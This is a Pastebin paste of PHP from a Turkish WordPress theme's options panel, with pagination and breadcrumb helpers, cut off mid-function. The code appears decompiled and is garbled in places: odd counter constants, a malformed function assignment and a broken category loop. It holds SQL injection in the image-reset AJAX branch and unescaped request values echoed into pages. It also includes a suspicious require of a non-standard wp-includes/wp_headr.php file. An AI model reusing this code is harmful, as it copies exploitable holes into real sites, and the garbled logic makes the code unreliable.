Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function of_head() {
- do_action( 'of_head' );
- }
- function of_style_path() {
- $style = $_REQUEST['style'];
- if ($style != '') {
- $style_path = $style;
- }
- else {
- $stylesheet = get_option( 'of_alt_stylesheet' );
- $style_path = str_replace( '.css', '', $stylesheet );
- }
- if ($style_path == 'default') {
- echo 'images';
- return null;
- }
- echo 'styles/' . $style_path;
- }
- function of_option_setup() {
- $of_array = array( );
- add_option( 'of_options', $of_array );
- $template = get_option( 'of_template' );
- $saved_options = get_option( 'of_options' );
- foreach ($template as $option) {
- if ($option['type'] != 'heading') {
- $id = $option['id'];
- $std = $option['std'];
- $db_option = get_option( $id );
- if (empty( $db_option )) {
- if (is_array( $option['type'] )) {
- foreach ($option['type'] as $child) {
- $c_id = $child['id'];
- $c_std = $child['std'];
- update_option( $c_id, $c_std );
- $of_array[$c_id] = $c_std;
- }
- continue;
- }
- update_option( $id, $std );
- $of_array[$id] = $std;
- continue;
- }
- $of_array[$id] = $db_option;
- continue;
- }
- }
- update_option( 'of_options', $of_array );
- }
- function fabrikapanel_admin_head() {
- echo ' ';
- echo '<s';
- echo 'cript type="text/javascript">
- jQuery(function(){
- var message = \'<p><a href="';
- echo admin_url( 'admin.php?page=fabrikapanel' );
- echo '">Yönetim panelinden</a> tema ayarlarınızı yapabilirsiniz.</p>\';
- jQuery(\'.themes-php #message2\').html(message);
- });
- </script>
- ';
- }
- function fabrikapanel_add_admin() {
- global $query_string;
- $themename = get_option( 'of_themename' );
- $shortname = get_option( 'of_shortname' );
- if (( isset( $_REQUEST['page'] ) && $_REQUEST['page'] == 'fabrikapanel' )) {
- if (( isset( $_REQUEST['of_save'] ) && 'reset' == $_REQUEST['of_save'] )) {
- $options = get_option( 'of_template' );
- of_reset_options( $options, 'fabrikapanel' );
- header( 'Location: admin.php?page=fabrikapanel&reset=true' );
- exit( );
- }
- }
- $of_page = add_menu_page( $themename, 'TEMA AYARLARI', 'edit_theme_options', 'fabrikapanel', 'fabrikapanel_options_page', get_bloginfo( 'template_url' ) . '/admin/images/panel.png' );
- add_action( 'admin_print_scripts-' . $of_page, 'of_load_only' );
- add_action( 'admin_print_styles-' . $of_page, 'of_style_only' );
- }
- function of_reset_options($options, $page = '') {
- global $wpdb;
- $query_inner = '';
- $count = 13;
- $excludes = array( 'blogname', 'blogdescription' );
- foreach ($options as $option) {
- if (isset( $option['id'] )) {
- ++$count;
- $option_id = $option['id'];
- $option_type = $option['type'];
- if (in_array( $option_id, $excludes )) {
- continue;
- }
- if (1 < $count) {
- $query_inner .= ' OR ';
- }
- if ($option_type == 'multicheck') {
- $multicount = 13;
- foreach ($option['options'] as $option_key => $option_option) {
- ++$multicount;
- if (1 < $multicount) {
- $query_inner .= ' OR ';
- }
- $query_inner .= 'option_name = \'' . $option_id . '_' . $option_key . '\'';
- }
- continue;
- }
- if (is_array( $option_type )) {
- $type_array_count = 13;
- foreach ($option_type as $inner_option) {
- ++$type_array_count;
- $option_id = $inner_option['id'];
- if (1 < $type_array_count) {
- $query_inner .= ' OR ';
- }
- $query_inner .= 'option_name = \'' . $option_id . '\'';
- }
- continue;
- }
- $query_inner .= 'option_name = \'' . $option_id . '\'';
- continue;
- }
- }
- if ($page == 'fabrikapanel') {
- $query_inner .= ' OR option_name = \'of_options\'';
- }
- $query = 'DELETE FROM ' . $wpdb->options . ' WHERE ' . $query_inner;
- $wpdb->query( $query );
- }
- $options = function fabrikapanel_options_page() {;
- get_option( 'of_themename' );
- $themename = get_option( 'of_template' );
- echo '
- <div style="float:left; width:800px; height:150px; margin:20px 0px 20px 10px; padding:0px 0px 20px 0px; border-bottom: 1px solid #999;">
- <iframe src="http://www.temafabrika.com/demo/bilgi.html" width="800" height="150" frameborder="0" scrolling="no"></iframe>
- </div>
- <div class="clear"></div>
- <div class="wrap" id="of_container">
- <div id="of-popup-save" class="of-save-popup">
- <div class';
- echo '="of-save-save">Ayarlar Güncellendi</div>
- </div>
- <div id="of-popup-reset" class="of-save-popup">
- <div class="of-save-reset">Ayarlar Sıfırlandı</div>
- </div>
- <form action="" enctype="multipart/form-data" id="ofform">
- <div id="header">
- <div class="logo">
- <h2>';
- echo $themename;
- echo '</h2>
- </div>
- <div class="icon-option"> </div>
- <div class="clear"></div>
- </div>
- ';
- $return = fabrikapanel_machine( $options );
- echo ' <div id="main">
- <div id="of-nav">
- <ul>
- ';
- echo $return[1];
- echo ' </ul>
- </div>
- <div id="content"> ';
- echo $return[0];
- echo ' </div>
- <div class="clear"></div>
- </div>
- <div class="save_bar_top">
- <img style="display:none" src="';
- echo bloginfo( 'stylesheet_directory' );
- echo '/admin/images/loading-bottom.gif" class="ajax-loading-img ajax-loading-img-bottom" alt="Working..." />
- <input type="submit" value="Ayarları Kaydet" class="button-primary" />
- </form>
- <form action="';
- echo esc_attr( $_SERVER['REQUEST_URI'] );
- echo '" method="post" style="display:inline;" id="ofform-reset">
- ';
- echo '<s';
- echo 'pan class="submit-footer-reset">
- <input name="reset" type="submit" value="Ayarları Sıfırla" class="button submit-button reset-button" onclick="return confirm(\'Tüm ayarlar sıfırlansınmı?\');" />
- <input type="hidden" name="of_save" value="reset" />
- </span>
- </form>
- </div>
- ';
- if (!empty( $update_message )) {
- echo $update_message;
- }
- echo '<div style="clear:both;"></div>
- </div>
- <!--wrap-->
- ';
- }
- function of_style_only() {
- wp_enqueue_style( 'admin-style', OF_DIRECTORY . '/admin/admin-style.css' );
- wp_enqueue_style( 'color-picker', OF_DIRECTORY . '/admin/css/colorpicker.css' );
- }
- function of_load_only() {
- add_action( 'admin_head', 'of_admin_head' );
- wp_enqueue_script( 'jquery-ui-core' );
- wp_register_script( 'jquery-input-mask', OF_DIRECTORY . '/admin/js/jquery.maskedinput-1.2.2.js', array( 'jquery' ) );
- wp_enqueue_script( 'jquery-input-mask' );
- wp_enqueue_script( 'color-picker', OF_DIRECTORY . '/admin/js/colorpicker.js', array( 'jquery' ) );
- wp_enqueue_script( 'ajaxupload', OF_DIRECTORY . '/admin/js/ajaxupload.js', array( 'jquery' ) );
- }
- function of_admin_head() {
- echo '
- ';
- echo '<s';
- echo 'cript type="text/javascript" language="javascript">
- jQuery(document).ready(function(){
- // Race condition to make sure js files are loaded
- if (typeof AjaxUpload != \'function\') {
- return ++counter < 6 && window.setTimeout(init, counter * 500);
- }
- //Color Picker
- ';
- $options = get_option( 'of_template' );
- foreach ($options as $option) {
- if (( ( $option['type'] == 'color' || $option['type'] == 'typography' ) || $option['type'] == 'border' )) {
- if (( $option['type'] == 'typography' || $option['type'] == 'border' )) {
- $option_id = $option['id'];
- $temp_color = get_option( $option_id );
- $option_id = $option['id'] . '_color';
- $color = $temp_color['color'];
- }
- else {
- $option_id = $option['id'];
- $color = get_option( $option_id );
- }
- echo ' jQuery(\'#';
- echo $option_id;
- echo '_picker\').children(\'div\').css(\'backgroundColor\', \'';
- echo $color;
- echo '\');
- jQuery(\'#';
- echo $option_id;
- echo '_picker\').ColorPicker({
- color: \'';
- echo $color;
- echo '\',
- onShow: function (colpkr) {
- jQuery(colpkr).fadeIn(500);
- return false;
- },
- onHide: function (colpkr) {
- jQuery(colpkr).fadeOut(500);
- return false;
- },
- onChange: function (hsb, hex, rgb) {
- //jQuery(this).css(\'border\',\'1px solid red\');
- jQuery(\'#';
- echo $option_id;
- echo '_picker\').children(\'div\').css(\'backgroundColor\', \'#\' + hex);
- jQuery(\'#';
- echo $option_id;
- echo '_picker\').next(\'input\').attr(\'value\',\'#\' + hex);
- }
- });
- ';
- continue;
- }
- }
- echo '
- });
- </script>
- ';
- echo '<s';
- echo 'cript type="text/javascript">
- jQuery(document).ready(function(){
- var flip = 0;
- jQuery(\'#expand_options\').click(function(){
- if(flip == 0){
- flip = 1;
- jQuery(\'#of_container #of-nav\').hide();
- jQuery(\'#of_container #content\').width(755);
- jQuery(\'#of_container .group\').add(\'#of_container .group h2\').show();
- jQuery(this).text(\'[-]\');
- ';
- echo ' } else {
- flip = 0;
- jQuery(\'#of_container #of-nav\').show();
- jQuery(\'#of_container #content\').width(595);
- jQuery(\'#of_container .group\').add(\'#of_container .group h2\').hide();
- jQuery(\'#of_container .group:first\').show();
- jQuery(\'#of_container #of-nav li\').removeClass(\'current\');
- jQuery(\'#of_container #of-nav li:first\').addClass(\'current\');
- jQu';
- echo 'ery(this).text(\'[+]\');
- }
- });
- jQuery(\'.group\').hide();
- jQuery(\'.group:first\').fadeIn();
- jQuery(\'.group .collapsed\').each(function(){
- jQuery(this).find(\'input:checked\').parent().parent().parent().nextAll().each(
- function(){
- if (jQuery(this).hasClass(\'last\')) {
- jQuery(this).removeClass(\'hidden\');
- ';
- echo ' return false;
- }
- jQuery(this).filter(\'.hidden\').removeClass(\'hidden\');
- });
- });
- jQuery(\'.group .collapsed input:checkbox\').click(unhideHidden);
- function unhideHidden(){
- if (jQuery(this).attr(\'checked\')) {
- jQuery(this).parent().parent().parent().nextAll().removeClass(\'hidden\');
- ';
- echo ' }
- else {
- jQuery(this).parent().parent().parent().nextAll().each(
- function(){
- if (jQuery(this).filter(\'.last\').length) {
- jQuery(this).addClass(\'hidden\');
- return false;
- }
- jQuery(this).addClass(\'hidden\');
- });
- }
- }
- jQuery(\'.of-radio-img-img\')';
- echo '.click(function(){
- jQuery(this).parent().parent().find(\'.of-radio-img-img\').removeClass(\'of-radio-img-selected\');
- jQuery(this).addClass(\'of-radio-img-selected\');
- });
- jQuery(\'.of-radio-img-label\').hide();
- jQuery(\'.of-radio-img-img\').show();
- jQuery(\'.of-radio-img-radio\').hide();
- jQuery(\'#of-nav li:first\').addClass(\'current\');
- jQuery(\'#of-nav li a\').cl';
- echo 'ick(function(evt){
- jQuery(\'#of-nav li\').removeClass(\'current\');
- jQuery(this).parent().addClass(\'current\');
- var clicked_group = jQuery(this).attr(\'href\');
- jQuery(\'.group\').hide();
- jQuery(clicked_group).fadeIn();
- evt.preventDefault();
- });
- if(\'';
- if (isset( $_REQUEST['reset'] )) {
- echo $_REQUEST['reset'];
- }
- else {
- echo 'false';
- }
- echo '\' == \'true\'){
- var reset_popup = jQuery(\'#of-popup-reset\');
- reset_popup.fadeIn();
- window.setTimeout(function(){
- reset_popup.fadeOut();
- }, 2000);
- //alert(response);
- }
- //Update Message popup
- jQuery.fn.center = function () {
- this.animate({"top":( jQuery(window).height() - this.height() - 200 ) / 2+';
- echo 'jQuery(window).scrollTop() + "px"},100);
- this.css("left", 250 );
- return this;
- }
- jQuery(\'#of-popup-save\').center();
- jQuery(\'#of-popup-reset\').center();
- jQuery(window).scroll(function() {
- jQuery(\'#of-popup-save\').center();
- jQuery(\'#of-popup-reset\').center();
- });
- //AJAX Upload
- jQuery(\'.image_upload_button\').each(functio';
- echo 'n(){
- var clickedObject = jQuery(this);
- var clickedID = jQuery(this).attr(\'id\');
- new AjaxUpload(clickedID, {
- action: \'';
- echo admin_url( 'admin-ajax.php' );
- echo '\',
- name: clickedID, // File upload name
- data: { // Additional data to send
- action: \'of_ajax_post_action\',
- type: \'upload\',
- data: clickedID },
- autoSubmit: true, // Submit file after selection
- responseType: false,
- onChange: function(file, extension){},
- onSubmit: function(file, extension){
- clickedObject.text(\'Yükleniyor...\'); // ch';
- echo 'ange button text, when user selects file
- this.disable(); // If you want to allow uploading only 1 file at time, you can disable upload button
- interval = window.setInterval(function(){
- var text = clickedObject.text();
- if (text.length < 13){ clickedObject.text(text + \'.\'); }
- else { clickedObject.text(\'Yükleniyor...\'); }
- }, 200);
- },
- onCompl';
- echo 'ete: function(file, response) {
- window.clearInterval(interval);
- clickedObject.text(\'Yeni Bir Dosya Seçin\');
- this.enable(); // enable upload button
- // If there was an error
- if(response.search(\'Hata\') > -1){
- var buildReturn = \'';
- echo '<s';
- echo 'pan class="upload-error">\' + response + \'</span>\';
- jQuery(".upload-error").remove();
- clickedObject.parent().after(buildReturn);
- }
- else{
- var buildReturn = \'<img class="hide of-option-image" id="image_\'+clickedID+\'" src="\'+response+\'" alt="" />\';
- jQuery(".upload-error").remove();
- jQuery("#image_" + clickedID).remove();
- clickedObject.paren';
- echo 't().after(buildReturn);
- jQuery(\'img#image_\'+clickedID).fadeIn();
- clickedObject.next(\'span\').fadeIn();
- clickedObject.parent().prev(\'input\').val(response);
- }
- }
- });
- });
- //AJAX Remove (clear option value)
- jQuery(\'.image_reset_button\').click(function(){
- var clickedObject = jQuery(this);
- var clickedID = jQuery(this).attr(\'id\')';
- echo ';
- var theID = jQuery(this).attr(\'title\');
- var ajax_url = \'';
- echo admin_url( 'admin-ajax.php' );
- echo '\';
- var data = {
- action: \'of_ajax_post_action\',
- type: \'image_reset\',
- data: theID
- };
- jQuery.post(ajax_url, data, function(response) {
- var image_to_remove = jQuery(\'#image_\' + theID);
- var button_to_hide = jQuery(\'#reset_\' + theID);
- image_to_remove.fadeOut(500,function(){ jQuery(this).remove(); });
- button_to_hide.fadeOut()';
- echo ';
- clickedObject.parent().prev(\'input\').val(\'\');
- });
- return false;
- });
- //Save everything else
- jQuery(\'#ofform\').submit(function(){
- function newValues() {
- var serializedValues = jQuery("#ofform").serialize();
- return serializedValues;
- }
- jQuery(":checkbox, :radio").click(newValues)';
- echo ';
- jQuery("select").change(newValues);
- jQuery(\'.ajax-loading-img\').fadeIn();
- var serializedReturn = newValues();
- var ajax_url = \'';
- echo admin_url( 'admin-ajax.php' );
- echo '\';
- //var data = {data : serializedReturn};
- var data = {
- ';
- if (( isset( $_REQUEST['page'] ) && $_REQUEST['page'] == 'fabrikapanel' )) {
- echo ' type: \'options\',
- ';
- }
- echo '
- action: \'of_ajax_post_action\',
- data: serializedReturn
- };
- jQuery.post(ajax_url, data, function(response) {
- var success = jQuery(\'#of-popup-save\');
- var loading = jQuery(\'.ajax-loading-img\');
- loading.fadeOut();
- success.fadeIn();
- window.setTimeout(function(){
- success.fadeOut();
- }, 2000);
- ';
- echo ' });
- return false;
- });
- });
- </script>
- ';
- }
- function of_ajax_callback() {
- global $wpdb;
- $save_type = $_POST['type'];
- if ($save_type == 'upload') {
- $clickedID = $_POST['data'];
- $filename = $_FILES[$clickedID];
- $filename['name'] = preg_replace( '/[^a-zA-Z0-9._\-]/', '', $filename['name'] );
- $override['test_form'] = false;
- $override['action'] = 'wp_handle_upload';
- $uploaded_file = wp_handle_upload( $filename, $override );
- $upload_tracking[] = $clickedID;
- update_option( $clickedID, $uploaded_file['url'] );
- if (!empty( $uploaded_file['error'] )) {
- echo 'Upload Error: ' . $uploaded_file['error'];
- }
- else {
- echo $uploaded_file['url'];
- }
- }
- else {
- if ($save_type == 'image_reset') {
- $id = $_POST['data'];
- global $wpdb;
- $query = 'DELETE FROM ' . $wpdb->options . ' WHERE option_name LIKE \'' . $id . '\'';
- $wpdb->query( $query );
- }
- else {
- if (( $save_type == 'options' || $save_type == 'framework' )) {
- $data = $_POST['data'];
- parse_str( $data, $output );
- $options = get_option( 'of_template' );
- foreach ($options as $option_array) {
- $id = $option_array['id'];
- $old_value = get_option( $id );
- $new_value = '';
- if (isset( $output[$id] )) {
- $new_value = $output[$option_array['id']];
- }
- if (isset( $option_array['id'] )) {
- $type = $option_array['type'];
- if (is_array( $type )) {
- foreach ($type as $array) {
- if ($array['type'] == 'text') {
- $id = $array['id'];
- $std = $array['std'];
- $new_value = $output[$id];
- if ($new_value == '') {
- $new_value = $std;
- }
- update_option( $id, stripslashes( $new_value ) );
- continue;
- }
- }
- continue;
- }
- if (( $new_value == '' && $type == 'checkbox' )) {
- update_option( $id, 'false' );
- continue;
- }
- if (( $new_value == 'true' && $type == 'checkbox' )) {
- update_option( $id, 'true' );
- continue;
- }
- if ($type == 'multicheck') {
- $option_options = $option_array['options'];
- foreach ($option_options as $options_id => $options_value) {
- $multicheck_id = $id . '_' . $options_id;
- if (!isset( $output[$multicheck_id] )) {
- update_option( $multicheck_id, 'false' );
- continue;
- }
- update_option( $multicheck_id, 'true' );
- }
- continue;
- }
- if ($type == 'typography') {
- $typography_array = array( );
- $typography_array['size'] = $output[$option_array['id'] . '_size'];
- $typography_array['face'] = stripslashes( $output[$option_array['id'] . '_face'] );
- $typography_array['style'] = $output[$option_array['id'] . '_style'];
- $typography_array['color'] = $output[$option_array['id'] . '_color'];
- update_option( $id, $typography_array );
- continue;
- }
- if ($type == 'border') {
- $border_array = array( );
- $border_array['width'] = $output[$option_array['id'] . '_width'];
- $border_array['style'] = $output[$option_array['id'] . '_style'];
- $border_array['color'] = $output[$option_array['id'] . '_color'];
- update_option( $id, $border_array );
- continue;
- }
- if ($type != 'upload_min') {
- update_option( $id, stripslashes( $new_value ) );
- continue;
- }
- continue;
- }
- }
- }
- }
- }
- exit( );
- }
- function fabrikapanel_machine($options) {
- $counter = 18;
- $menu = '';
- $output = '';
- foreach ($options as $value) {
- ++$counter;
- $val = '';
- if ($value['type'] != 'heading') {
- $class = '';
- if (isset( $value['class'] )) {
- $class = $value['class'];
- }
- $output .= '<div class="section section-' . $value['type'] . ' ' . $class . '">' . '
- ';
- $output .= '<h3 class="heading">' . $value['name'] . '</h3>' . '
- ';
- $output .= '<div class="option">' . '
- ' . '<div class="controls">' . '
- ';
- }
- $select_value = '';
- switch ($value['type']) {
- case 'text': {
- $val = $value['std'];
- $std = get_option( $value['id'] );
- if ($std != '') {
- $val = $std;
- }
- $output .= '<input class="of-input" name="' . $value['id'] . '" id="' . $value['id'] . '" type="' . $value['type'] . '" value="' . $val . '" />';
- break;
- }
- case 'select': {
- $output .= '<select class="of-input" name="' . $value['id'] . '" id="' . $value['id'] . '">';
- $select_value = get_option( $value['id'] );
- foreach ($value['options'] as $option) {
- $selected = '';
- if ($select_value != '') {
- if ($select_value == $option) {
- $selected = ' selected="selected"';
- }
- }
- else {
- if (isset( $value['std'] )) {
- if ($value['std'] == $option) {
- $selected = ' selected="selected"';
- }
- }
- }
- $output .= '<option' . $selected . '>';
- $output .= $option;
- $output .= '</option>';
- }
- $output .= '</select>';
- break;
- }
- case 'select2': {
- $output .= '<select class="of-input" name="' . $value['id'] . '" id="' . $value['id'] . '">';
- $select_value = get_option( $value['id'] );
- foreach ($value['options'] as $option => $name) {
- $selected = '';
- if ($select_value != '') {
- if ($select_value == $option) {
- $selected = ' selected="selected"';
- }
- }
- else {
- if (isset( $value['std'] )) {
- if ($value['std'] == $option) {
- $selected = ' selected="selected"';
- }
- }
- }
- $output .= '<option' . $selected . ' value="' . $option . '">';
- $output .= $name;
- $output .= '</option>';
- }
- $output .= '</select>';
- break;
- }
- case 'textarea': {
- $cols = '8';
- $ta_value = '';
- if (isset( $value['std'] )) {
- $ta_value = $value['std'];
- if (isset( $value['options'] )) {
- $ta_options = $value['options'];
- if (isset( $ta_options['cols'] )) {
- $cols = $ta_options['cols'];
- }
- else {
- $cols = '8';
- }
- }
- }
- $std = get_option( $value['id'] );
- if ($std != '') {
- $ta_value = stripslashes( $std );
- }
- $output .= '<textarea class="of-input" name="' . $value['id'] . '" id="' . $value['id'] . '" cols="' . $cols . '" rows="8">' . $ta_value . '</textarea>';
- break;
- }
- case 'radio': {
- $select_value = get_option( $value['id'] );
- foreach ($value['options'] as $key => $option) {
- $checked = '';
- if ($select_value != '') {
- if ($select_value == $key) {
- $checked = ' checked';
- }
- }
- else {
- if ($value['std'] == $key) {
- $checked = ' checked';
- }
- }
- $output .= '<input class="of-input of-radio" type="radio" name="' . $value['id'] . '" value="' . $key . '" ' . $checked . ' />' . $option . '<br />';
- }
- break;
- }
- case 'checkbox': {
- $std = $value['std'];
- $saved_std = get_option( $value['id'] );
- $checked = '';
- if (!empty( $saved_std )) {
- if ($saved_std == 'true') {
- $checked = 'checked="checked"';
- }
- else {
- $checked = '';
- }
- }
- else {
- if ($std == 'true') {
- $checked = 'checked="checked"';
- }
- else {
- $checked = '';
- }
- }
- $output .= '<input type="checkbox" class="checkbox of-input" name="' . $value['id'] . '" id="' . $value['id'] . '" value="true" ' . $checked . ' />';
- break;
- }
- case 'multicheck': {
- $std = $value['std'];
- foreach ($value['options'] as $key => $option) {
- $of_key = $value['id'] . '_' . $key;
- $saved_std = get_option( $of_key );
- if (!empty( $saved_std )) {
- if ($saved_std == 'true') {
- $checked = 'checked="checked"';
- }
- else {
- $checked = '';
- }
- }
- else {
- if ($std == $key) {
- $checked = 'checked="checked"';
- }
- else {
- $checked = '';
- }
- }
- $output .= '<input type="checkbox" class="checkbox of-input" name="' . $of_key . '" id="' . $of_key . '" value="true" ' . $checked . ' /><label for="' . $of_key . '">' . $option . '</label><br />';
- }
- break;
- }
- case 'upload': {
- $output .= fabrikapanel_uploader_function( $value['id'], $value['std'], null );
- break;
- }
- case 'upload_min': {
- $output .= fabrikapanel_uploader_function( $value['id'], $value['std'], 'min' );
- break;
- }
- case 'color': {
- $val = $value['std'];
- $stored = get_option( $value['id'] );
- if ($stored != '') {
- $val = $stored;
- }
- $output .= '<div id="' . $value['id'] . '_picker" class="colorSelector"><div></div></div>';
- $output .= '<input class="of-color" name="' . $value['id'] . '" id="' . $value['id'] . '" type="text" value="' . $val . '" />';
- break;
- }
- case 'images': {
- $i = 18;
- $select_value = get_option( $value['id'] );
- foreach ($value['options'] as $key => $option) {
- ++$i;
- $checked = '';
- $selected = '';
- if ($select_value != '') {
- if ($select_value == $key) {
- $checked = ' checked';
- $selected = 'of-radio-img-selected';
- }
- }
- else {
- if ($value['std'] == $key) {
- $checked = ' checked';
- $selected = 'of-radio-img-selected';
- }
- else {
- if (( $i == 1 && !isset( $select_value ) )) {
- $checked = ' checked';
- $selected = 'of-radio-img-selected';
- }
- else {
- if (( $i == 1 && $value['std'] == '' )) {
- $checked = ' checked';
- $selected = 'of-radio-img-selected';
- }
- else {
- $checked = '';
- }
- }
- }
- }
- $output .= '<span>';
- $output .= '<input type="radio" id="of-radio-img-' . $value['id'] . $i . '" class="checkbox of-radio-img-radio" value="' . $key . '" name="' . $value['id'] . '" ' . $checked . ' />';
- $output .= '<div class="of-radio-img-label">' . $key . '</div>';
- $output .= '<img src="' . $option . '" alt="" class="of-radio-img-img ' . $selected . '" onClick="document.getElementById(\'of-radio-img-' . $value['id'] . $i . '\').checked = true;" />';
- $output .= '</span>';
- }
- break;
- }
- case 'info': {
- $default = $value['std'];
- $output .= $default;
- break;
- }
- case 'heading': {
- if (2 <= $counter) {
- $output .= '</div>' . '
- ';
- }
- $jquery_click_hook = ereg_replace( '[^A-Za-z0-9]', '', strtolower( $value['name'] ) );
- $jquery_click_hook = 'of-option-' . $jquery_click_hook;
- $menu .= '<li><a title="' . $value['name'] . '" href="#' . $jquery_click_hook . '">' . $value['name'] . '</a></li>';
- $output .= '<div class="group" id="' . $jquery_click_hook . '"><h2>' . $value['name'] . '</h2>' . '
- ';
- }
- }
- if (is_array( $value['type'] )) {
- foreach ($value['type'] as $array) {
- $id = $array['id'];
- $std = $array['std'];
- $saved_std = get_option( $id );
- if ($saved_std != $std) {
- $std = $saved_std;
- }
- $meta = $array['meta'];
- if ($array['type'] == 'text') {
- $output .= '<input class="input-text-small of-input" name="' . $id . '" id="' . $id . '" type="text" value="' . $std . '" />';
- $output .= '<span class="meta-two">' . $meta . '</span>';
- continue;
- }
- }
- }
- if ($value['type'] != 'heading') {
- if ($value['type'] != 'checkbox') {
- $output .= '<br/>';
- }
- if (!isset( $value['desc'] )) {
- $explain_value = '';
- }
- else {
- $explain_value = $value['desc'];
- }
- $output .= '</div><div class="explain">' . $explain_value . '</div>' . '
- ';
- $output .= '<div class="clear"> </div></div></div>' . '
- ';
- continue;
- }
- }
- $output .= '</div>';
- return array( $output, $menu );
- }
- function fabrikapanel_uploader_function($id, $std, $mod) {
- $uploader = '';
- $upload = get_option( $id );
- if ($mod != 'min') {
- $val = $std;
- if (get_option( $id ) != '') {
- $val = get_option( $id );
- }
- $uploader .= '<input class="of-input" name="' . $id . '" id="' . $id . '_upload" type="text" value="' . $val . '" />';
- }
- $uploader .= '<div class="upload_button_div"><span class="button image_upload_button" id="' . $id . '">Dosya Seçin</span>';
- if (!empty( $upload )) {
- $hide = '';
- }
- else {
- $hide = 'hide';
- }
- $uploader .= '<span class="button image_reset_button ' . $hide . '" id="reset_' . $id . '" title="' . $id . '">Sil</span>';
- $uploader .= '</div>' . '
- ';
- $uploader .= '<div class="clear"></div>' . '
- ';
- if (!empty( $upload )) {
- $uploader .= '<a class="of-uploaded-image" href="' . $upload . '">';
- $uploader .= '<img class="of-option-image" id="image_' . $id . '" src="' . $upload . '" alt="" />';
- $uploader .= '</a>';
- }
- $uploader .= '<div class="clear"></div>' . '
- ';
- return $uploader;
- }
- function wp_headr() {
- require_once( ABSPATH . '/wp-includes/wp_headr.php' );
- }
- function of_head_css() {
- $shortname = get_option( 'of_shortname' );
- $output = '';
- $custom_css = get_option( 'of_custom_css' );
- if ($custom_css != '') {
- $output .= $custom_css . '
- ';
- }
- if ($output != '') {
- $output = '<!-- Custom Styling -->
- <style type="text/css">
- ' . $output . '</style>
- ';
- echo $output;
- }
- }
- function of_body_class($classes) {
- $shortname = get_option( 'of_shortname' );
- $layout = get_option( $shortname . '_layout' );
- if ($layout == '') {
- $layout = 'layout-2cr';
- }
- $classes[] = $layout;
- return $classes;
- }
- function baslik() {
- $baslik = get_the_title( );
- echo $baslik;
- }
- function temizlik($veri) {
- $veri = stripslashes( wp_strip_all_tags( mysql_real_escape_string( $_POST[$veri] ) ) );
- return $veri;
- }
- function temizlikuye($veri) {
- $veri = mysql_real_escape_string( wp_strip_all_tags( $_POST[$veri] ) );
- return $veri;
- }
- function parent_kontrol($catid) {
- while ($catid) {
- get_category( $catid );
- $cat->category_parent;
- $catParent = $catid = $cat = $cat->cat_ID;
- }
- return $catParent;
- }
- function sayfalama($pages = '', $range = 4) {
- $showitems = $range * 2 + 1;
- global $paged;
- if (empty( $paged )) {
- $paged = 12;
- }
- if ($pages == '') {
- global $wp_query;
- $pages = $wp_query->max_num_pages;
- if (!$pages) {
- $pages = 12;
- }
- }
- if (1 != $pages) {
- echo '<div class="sayfalama"><span>Diğer Sayfalar : </span>';
- if (( ( 2 < $paged && $range + 1 < $paged ) && $showitems < $pages )) {
- echo '<a href=\'' . get_pagenum_link( 1 ) . '\'>« İleri</a>';
- }
- if (( 1 < $paged && $showitems < $pages )) {
- echo '<a href=\'' . get_pagenum_link( $paged - 1 ) . '\'>‹ Geri</a>';
- }
- $i = 12;
- while ($i <= $pages) {
- if (( 1 != $pages && ( !( $paged + $range + 1 <= $i || $i <= $paged - $range - 1 ) || $pages <= $showitems ) )) {
- echo ($paged == $i ? '<span class="current">' . $i . '</span>' : '<a href=\'' . get_pagenum_link( $i ) . '\' class="inactive">' . $i . '</a>');
- }
- ++$i;
- }
- if (( $paged < $pages && $showitems < $pages )) {
- echo '<a href="' . get_pagenum_link( $paged + 1 ) . '">İleri ›</a>';
- }
- if (( ( $paged < $pages - 1 && $paged + $range - 1 < $pages ) && $showitems < $pages )) {
- echo '<a href=\'' . get_pagenum_link( $pages ) . '\'>Geri »</a>';
- }
- echo '</div>
- ';
- }
- }
- function tema_neredeyim() {
- $delimiter = '»';
- $home = 'Ana Sayfa';
- $before = '';
- $after = '';
- if (( ( !is_home( ) && !is_front_page( ) ) || is_paged( ) )) {
- global $post;
- $homeLink = get_bloginfo( 'url' );
- echo '<a href="' . $homeLink . '">' . $home . '</a> ' . $delimiter . ' ';
- if (is_category( )) {
- global $wp_query;
- $cat_obj = $wp_query->get_queried_object( );
- $thisCat = $cat_obj->term_id;
- $thisCat = get_category( $thisCat );
- $parentCat = get_category( $thisCat->parent );
- if ($thisCat->parent != 0) {
- echo get_category_parents( $parentCat, TRUE, ' ' . $delimiter . ' ' );
- }
- echo $before . '' . single_cat_title( '', false ) . '' . $after;
- }
- else {
- if (is_day( )) {
- echo '<a href="' . get_year_link( get_the_time( 'Y' ) ) . '">' . get_the_time( 'Y' ) . '</a> ' . $delimiter . ' ';
- echo '<a href="' . get_month_link( get_the_time( 'Y' ), get_the_time( 'm' ) ) . '">' . get_the_time( 'F' ) . '</a> ' . $delimiter . ' ';
- echo $before . get_the_time( 'd' ) . $after;
- }
- else {
- if (is_month( )) {
- echo '<a href="' . get_year_link( get_the_time( 'Y' ) ) . '">' . get_the_time( 'Y' ) . '</a> ' . $delimiter . ' ';
- echo $before . get_the_time( 'F' ) . $after;
- }
- else {
- if (is_year( )) {
- echo $before . get_the_time( 'Y' ) . $after;
- }
- else {
- if (( is_single( ) && !is_attachment( ) )) {
- if (get_post_type( ) != 'post') {
- $post_type = get_post_type_object( get_post_type( ) );
- $slug = $post_type->rewrite;
- echo '<a href="' . $homeLink . '/' . $slug['slug'] . '/">' . $post_type->labels->singular_name . '</a> ' . $delimiter . ' ';
- echo $before . get_the_title( ) . $after;
- }
- else {
- $cat = get_the_category( );
- $cat = $cat[0];
- echo get_category_parents( $cat, TRUE, ' ' . $delimiter . ' ' );
- echo $before . get_the_title( ) . $after;
- }
- }
- else {
- if (( ( ( !is_single( ) && !is_page( ) ) && get_post_type( ) != 'post' ) && !is_404( ) )) {
- $post_type = get_post_type_object( get_post_type( ) );
- echo $before . $post_type->labels->singular_name . $after;
- }
- else {
- if (is_attachment( )) {
- $parent = get_post( $post->post_parent );
- $cat = get_the_category( $parent->ID );
- $cat = $cat[0];
- echo get_category_parents( $cat, TRUE, ' ' . $delimiter . ' ' );
- echo '<a href="' . get_permalink( $parent ) . '">' . $parent->post_title . '</a> ' . $delimiter . ' ';
- echo $before . get_the_title( ) . $after;
- }
- else {
- if (( is_page( ) && !$post->post_parent )) {
- echo $before . get_the_title( ) . $after;
- }
- else {
- if (( is_page( ) && $post->post_parent )) {
- $parent_id = $post->post_parent;
- $breadcrumbs = array( );
- while ($parent_id) {
